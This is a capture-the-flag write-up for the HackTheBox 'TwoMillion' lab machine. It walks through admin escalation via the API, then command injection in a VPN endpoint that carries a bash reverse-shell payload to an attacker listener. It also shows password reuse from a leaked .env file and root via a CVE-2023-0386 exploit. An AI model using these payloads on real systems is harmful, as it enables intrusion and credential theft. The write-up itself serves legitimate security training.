HackTheBox TwoMillion
Writeup for HackTheBox TwoMillion
Machine Synopsis
TwoMillion is an Easy difficulty Linux box that was released to celebrate reaching 2 million users on HackTheBox. The box features an old version of the HackTheBox platform that includes the old hackable invite code. After hacking the invite code an account can be created on the platform. The account can be used to enumerate various API endpoints, one of which can be used to elevate the user to an Administrator. With administrative access the user can perform a command injection in the admin VPN generation endpoint thus gaining a system shell. An .env file is found to contain database credentials and owed to password re-use the attackers can login as user admin on the box. The system kernel is found to be outdated and CVE-2023-0386 can be used to gain a root shell. (Source)
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
$ nmap -sC -sV 10.10.11.221
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
8888/tcp open http SimpleHTTPServer 0.6 (Python 3.10.6)
|_http-server-header: SimpleHTTP/0.6 Python/3.10.6
|_http-title: Directory listing for /
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Here is the website.
Here is the login page.
Here is the page to enter am invite code.
There is an interesting inviteapi.min.js
script in the source code of this /invite
page.
1
2
3
<!-- scripts -->
<script src="/js/htb-frontend.min.js"></script>
<script defer src="/js/inviteapi.min.js"></script>
Visit http://2million.htb/js/inviteapi.min.js
to view the js file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
eval(function(p, a, c, k, e, d) {
e = function(c) {
return c.toString(36)
};
if (!''.replace(/^/, String)) {
while (c--) {
d[c.toString(a)] = k[c] || c.toString(a)
}
k = [function(e) {
return d[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--) {
if (k[c]) {
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'), 0, {}))
Observe that there is a makeInviteCode()
function available. Lets execute that in the browser console on /invite
.
1
2
data: "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr"
enctype: "ROT13"
Decode the cipher in rot13.com.
1
"In order to generate the invite code, make a POST request to /api/v1/invite/generate"
Make a POST
request to /api/v1/invite/generate
to get our invite code.
1
2
3
4
5
6
7
8
9
$ curl -X POST http://2million.htb/api/v1/invite/generate -s | jq
{
"0": 200,
"success": 1,
"data": {
"code": "V0E1WEUtTUJCTzEtNFgzQU8tQzhGTzY=",
"format": "encoded"
}
}
Base64 decode the code.
1
2
$ echo "V0E1WEUtTUJCTzEtNFgzQU8tQzhGTzY=" | base64 -d
WA5XE-MBBO1-4X3AO-C8FO6
Fill the the invite code in /invite
and it will redirect us to /register
.
Login to our account after registration.
The only webpage interesting was the Lab Access
.
Clicking on Connection Pack
shows the following HTTP request.
1
GET /api/v1/user/vpn/generate HTTP/1.1
Clicking on Regenerate
shows the following HTTP request.
1
GET /api/v1/user/vpn/regenerate HTTP/1.1
Sent a HTTP request to /api
.
GET /api HTTP/1.1
1
2
3
4
5
6
HTTP/1.1 200 OK
Server: nginx
...
{
"/api/v1": "Version 1 of the API"
}
It shows that version 1 API is available. Sent a HTTP request to /api/v1
.
GET /api/v1 HTTP/1.1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
HTTP/1.1 200 OK
Server: nginx
...
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
Tried sending an API GET
request to /api/v1/admin/auth
but it returned false
.
Tried sending an API POST
request to /api/v1/admin/vpn/generate
but it returned 401 Unauthorized
.
Tried sending an API PUT
request to and it returned 200 OK
with an error message.
1
2
3
4
5
6
7
HTTP/1.1 200 OK
Server: nginx
...
{
"status": "danger",
"message": "Invalid content type."
}
It appears that we need a Content-Type
in the HTTP request.
1
2
3
4
PUT /api/v1/admin/settings/update HTTP/1.1
...
Content-Type: application/json
...
1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
"status": "danger",
"message": "Missing parameter: email"
}
Now we need an email
parameter in our HTTP request.
1
2
3
4
5
6
7
PUT /api/v1/admin/settings/update HTTP/1.1
...
Content-Type: application/json
...
{
"email" : "shiro@2million.htb"
}
1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
"status": "danger",
"message": "Missing parameter: is_admin"
}
Now we need an is_admin
paramter.
1
2
3
4
5
6
7
8
PUT /api/v1/admin/settings/update HTTP/1.1
...
Content-Type: application/json
...
{
"email": "shiro@2million.htb",
"is_admin": true
}
1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
"status": "danger",
"message": "Variable is_admin needs to be either 0 or 1."
}
The is_admin
parameter only accepts 0
or 1
as value.
1
2
3
4
5
6
7
8
PUT /api/v1/admin/settings/update HTTP/1.1
...
Content-Type: application/json
...
{
"email": "shiro@2million.htb",
"is_admin": 1
}
1
2
3
4
5
6
7
HTTP/1.1 200 OK
...
{
"id": 14,
"username": "shiro",
"is_admin": 1
}
Finally we should be admin. We can verify this by sending a GET
request to /api/v1/admin/auth
, which the server returned “message”:true
.
Now that we have admin, we should be able to generate a VPN by sending a POST
request to /api/v1/admin/vpn/generate
.
1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
"status": "danger",
"message": "Invalid content type."
}
It appears that we need a Content-Type
in our HTTP request.
1
2
3
4
POST /api/v1/admin/vpn/generate HTTP/1.1
...
Content-Type: application/json
...
1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
"status": "danger",
"message": "Missing parameter: username"
}
Now we need a username
parameter.
1
2
3
4
5
POST /api/v1/admin/vpn/generate HTTP/1.1
...
{
"username": "shiro"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
HTTP/1.1 200 OK
...
client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
comp-lzo
verb 3
data-ciphers-fallback AES-128-CBC
data-ciphers AES-256-CBC:AES-256-CFB:AES-256-CFB1:AES-256-CFB8:AES-256-OFB:AES-256-GCM
tls-cipher "DEFAULT:@SECLEVEL=0"
auth SHA256
key-direction 1
<ca>
-----BEGIN CERTIFICATE-----
...
We have successfully generated our VPN. However, the VPN generated didn’t look interesting.
Tried checking for simple command injection by adding a ;
to break the command, followed by a #
to comment out anything after our command.
1
2
3
4
5
POST /api/v1/admin/vpn/generate HTTP/1.1
...
{
"username": "shiro;id #"
}
1
2
3
HTTP/1.1 200 OK
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
It worked. Leveraged on this to get a reverse shell connection.
1
2
3
4
5
POST /api/v1/admin/vpn/generate HTTP/1.1
...
{
"username": "shiro;bash -c 'bash -i >& /dev/tcp/$ip/9001 0>&1' #"
}
1
2
3
4
5
6
$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.11.221] 33680
bash: cannot set terminal process group (1178): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$
Exploitation
Enumerated for interesting files and found a .env
file which contained the credentials for admin
user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
www-data@2million:~/html$ pwd
/var/www/html
www-data@2million:~/html$ ls -la
total 56
drwxr-xr-x 10 root root 4096 May 23 13:20 .
drwxr-xr-x 3 root root 4096 Jun 6 2023 ..
-rw-r--r-- 1 root root 87 Jun 2 2023 .env
-rw-r--r-- 1 root root 1237 Jun 2 2023 Database.php
-rw-r--r-- 1 root root 2787 Jun 2 2023 Router.php
drwxr-xr-x 5 root root 4096 May 23 13:20 VPN
drwxr-xr-x 2 root root 4096 Jun 6 2023 assets
drwxr-xr-x 2 root root 4096 Jun 6 2023 controllers
drwxr-xr-x 5 root root 4096 Jun 6 2023 css
drwxr-xr-x 2 root root 4096 Jun 6 2023 fonts
drwxr-xr-x 2 root root 4096 Jun 6 2023 images
-rw-r--r-- 1 root root 2692 Jun 2 2023 index.php
drwxr-xr-x 3 root root 4096 Jun 6 2023 js
drwxr-xr-x 2 root root 4096 Jun 6 2023 views
www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
We could simply switch user to admin with the password found.
1
2
3
4
5
6
www-data@2million:~/html$ su admin
Password: SuperDuperPass123
whoami
admin
id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
Privilege Escalation
SSH into the machine as admin
for a stable and interactive shell.
1
2
3
4
5
6
7
ssh admin@10.10.11.221
...
admin@10.10.11.221's password: SuperDuperPass123
...
You have mail.
...
admin@2million:~$
Upon logging into SSH, we were greeted with a banner that states You have mail.
. The mail can be found at /var/mail
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
admin@2million:~$ cd /var/mail/
admin@2million:/var/mail$ ls
admin
admin@2million:/var/mail$ cat admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
It seems to be a message hinting us about some Linux Kernel vulnerability regarding OverlayFS / FUSE
.
1
2
3
4
5
6
7
admin@2million:/var/mail$ uname -a
Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
admin@2million:/var/mail$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.2 LTS"
This version is vulnerable to CVE-2023-0386. Looking for exploit on GitHub brought us to this repo.
We can download the zip file and transfer it over to the victim machine.
1
2
3
4
$ scp CVE-2023-0386.zip admin@10.10.11.221:/tmp
admin@10.10.11.221's password:
...
100%
Now we SSH into the machine and find our file in the /tmp
folder.
1
2
3
4
5
admin@2million:~$ cd /tmp/
admin@2million:/tmp$ unzip CVE-2023-0386.zip
admin@2million:/tmp$ cd CVE-2023-0386
admin@2million:/tmp/CVE-2023-0386$ make all
...
Compile the codes with make all
and follow the instructions as shown in the GitHub repository.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
admin@2million:/tmp/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc &
[1] 18926
admin@2million:/tmp/CVE-2023-0386$ [+] len of gc: 0x3ee0
admin@2million:/tmp/CVE-2023-0386$ ./exp
uid:1000 gid:1000
[+] mount success
[+] readdir
[+] getattr_callback
/file
total 8
drwxrwxr-x 1 root root 4096 May 23 13:54 .
drwxrwxr-x 6 root root 4096 May 23 13:54 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:/tmp/CVE-2023-0386#
There was a thank_you.json
at /root
. You can find the decoded text here.